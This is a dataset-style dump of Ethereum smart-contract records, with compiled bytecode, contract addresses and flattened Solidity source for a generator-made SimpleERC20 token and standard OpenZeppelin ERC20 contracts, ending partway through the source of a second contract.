0152614ffa81614fbe565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061503b82614a82565b915061504683614a82565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561507f5761507e615001565b5b828202905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006150e6602a8361496f565b91506150f18261508a565b604082019050919050565b60006020820190508181036000830152615115816150d9565b9050919050565b7f4163636f756e7420697320616c7265616479206578636c756465640000000000600082015250565b6000615152601b8361496f565b915061515d8261511c565b602082019050919050565b6000602082019050818103600083015261518181615145565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006151c282614a82565b91506151cd83614a82565b9250828210156151e0576151df615001565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b600061522582614a82565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561525857615257615001565b5b600182019050919050565b60008151905061527281614a8c565b92915050565b60006020828403121561528e5761528d614a1f565b5b600061529c84828501615263565b91505092915050565b60006040820190506152ba6000830185614da0565b6152c76020830184614b2e565b9392505050565b6000815190506152dd81614d34565b92915050565b6000602082840312156152f9576152f8614a1f565b5b6000615307848285016152ce565b91505092915050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b600061536c602c8361496f565b915061537782615310565b604082019050919050565b6000602082019050818103600083015261539b8161535f565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006153d8601f8361496f565b91506153e3826153a2565b602082019050919050565b60006020820190508181036000830152615407816153cb565b9050919050565b7f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c60008201527f6f636b0000000000000000000000000000000000000000000000000000000000602082015250565b600061546a60238361496f565b91506154758261540e565b604082019050919050565b600060208201905081810360008301526154998161545d565b9050919050565b7f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300600082015250565b60006154d6601f8361496f565b91506154e1826154a0565b602082019050919050565b60006020820190508181036000830152615505816154c9565b9050919050565b600061551782614a82565b915061552283614a82565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561555757615556615001565b5b828201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006155be60268361496f565b91506155c982615562565b604082019050919050565b600060208201905081810360008301526155ed816155b1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061565060248361496f565b915061565b826155f4565b604082019050919050565b6000602082019050818103600083015261567f81615643565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006156e260228361496f565b91506156ed82615686565b604082019050919050565b60006020820190508181036000830152615711816156d5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061577460258361496f565b915061577f82615718565b604082019050919050565b600060208201905081810360008301526157a381615767565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061580660238361496f565b9150615811826157aa565b604082019050919050565b60006020820190508181036000830152615835816157f9565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061589860298361496f565b91506158a38261583c565b604082019050919050565b600060208201905081810360008301526158c78161588b565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b600061592a60288361496f565b9150615935826158ce565b604082019050919050565b600060208201905081810360008301526159598161591d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000615996601b8361496f565b91506159a182615960565b602082019050919050565b600060208201905081810360008301526159c581615989565b9050919050565b60006060820190506159e16000830186614b2e565b6159ee6020830185614b2e565b6159fb6040830184614b2e565b949350505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000615a3d82614a82565b9150615a4883614a82565b925082615a5857615a57615a03565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050615aa181614a56565b92915050565b600060208284031215615abd57615abc614a1f565b5b6000615acb84828501615a92565b91505092915050565b6000819050919050565b6000615af9615af4615aef84615ad4565b614b58565b614a82565b9050919050565b615b0981615ade565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615b4481614a44565b82525050565b6000615b568383615b3b565b60208301905092915050565b6000602082019050919050565b6000615b7a82615b0f565b615b848185615b1a565b9350615b8f83615b2b565b8060005b83811015615bc0578151615ba78882615b4a565b9750615bb283615b62565b925050600181019050615b93565b5085935050505092915050565b600060a082019050615be26000830188614b2e565b615bef6020830187615b00565b8181036040830152615c018186615b6f565b9050615c106060830185614da0565b615c1d6080830184614b2e565b9695505050505050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000615c8360218361496f565b9150615c8e82615c27565b604082019050919050565b60006020820190508181036000830152615cb281615c76565b9050919050565b600060c082019050615cce6000830189614da0565b615cdb6020830188614b2e565b615ce86040830187615b00565b615cf56060830186615b00565b615d026080830185614da0565b615d0f60a0830184614b2e565b979650505050505050565b600080600060608486031215615d3357615d32614a1f565b5b6000615d4186828701615263565b9350506020615d5286828701615263565b9250506040615d6386828701615263565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204200aa9f0c223c271399a8163fbe4266f2e2090958b02b4baddde8a628f3577b64736f6c63430008090033
[ 13, 16, 5 ]
0xf2AB75a333a31d38892a393AaE524D33bac9B915
// SPDX-License-Identifier: MIT /* * Token has been generated using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor(string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.1.0") { constructor( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806354fd4d501161008c57806395d89b411161006657806395d89b4114610195578063a457c2d71461019d578063a9059cbb146101b0578063dd62ed3e146101c357600080fd5b806354fd4d501461015c57806370a08231146101645780637afa1eed1461018d57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc6101fc565b6040516100e9919061084a565b60405180910390f35b610105610100366004610820565b61028e565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b6101056101353660046107e4565b6102a4565b604051601281526020016100e9565b610105610157366004610820565b61035a565b6100dc610391565b61011961017236600461078f565b6001600160a01b031660009081526020819052604090205490565b6100dc6103a0565b6100dc6103c0565b6101056101ab366004610820565b6103cf565b6101056101be366004610820565b61046a565b6101196101d13660046107b1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461020b906108ce565b80601f0160208091040260200160405190810160405280929190818152602001828054610237906108ce565b80156102845780601f1061025957610100808354040283529160200191610284565b820191906000526020600020905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b600061029b338484610477565b50600192915050565b60006102b184848461059b565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561033b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61034f853361034a86856108b7565b610477565b506001949350505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161029b91859061034a90869061089f565b60606005805461020b906108ce565b60606040518060600160405280602f8152602001610920602f9139905090565b60606004805461020b906108ce565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104515760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610332565b610460338561034a86856108b7565b5060019392505050565b600061029b33848461059b565b6001600160a01b0383166104d95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610332565b6001600160a01b03821661053a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610332565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166105ff5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610332565b6001600160a01b0382166106615760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610332565b6001600160a01b038316600090815260208190526040902054818110156106d95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610332565b6106e382826108b7565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061071990849061089f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161076591815260200190565b60405180910390a350505050565b80356001600160a01b038116811461078a57600080fd5b919050565b6000602082840312156107a157600080fd5b6107aa82610773565b9392505050565b600080604083850312156107c457600080fd5b6107cd83610773565b91506107db60208401610773565b90509250929050565b6000806000606084860312156107f957600080fd5b61080284610773565b925061081060208501610773565b9150604084013590509250925092565b6000806040838503121561083357600080fd5b61083c83610773565b946020939093013593505050565b600060208083528351808285015260005b818110156108775785810183015185820160400152820161085b565b81811115610889576000604083870101525b50601f01601f1916929092016040019392505050565b600082198211156108b2576108b2610909565b500190565b6000828210156108c9576108c9610909565b500390565b600181811c908216806108e257607f821691505b6020821081141561090357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe68747470733a2f2f766974746f6d696e61636f72692e6769746875622e696f2f65726332302d67656e657261746f72a2646970667358221220e1cb1ec4713999b055846bd58065f9bed5457fbbe38e19f8a1bdacac619b2c4664736f6c63430008050033
[ 38 ]
0xf2abc2f772c2fe96ec064369287bda007c6d39d6
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./Context.sol"; import "./IERC20.sol"; import "../libraries/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or 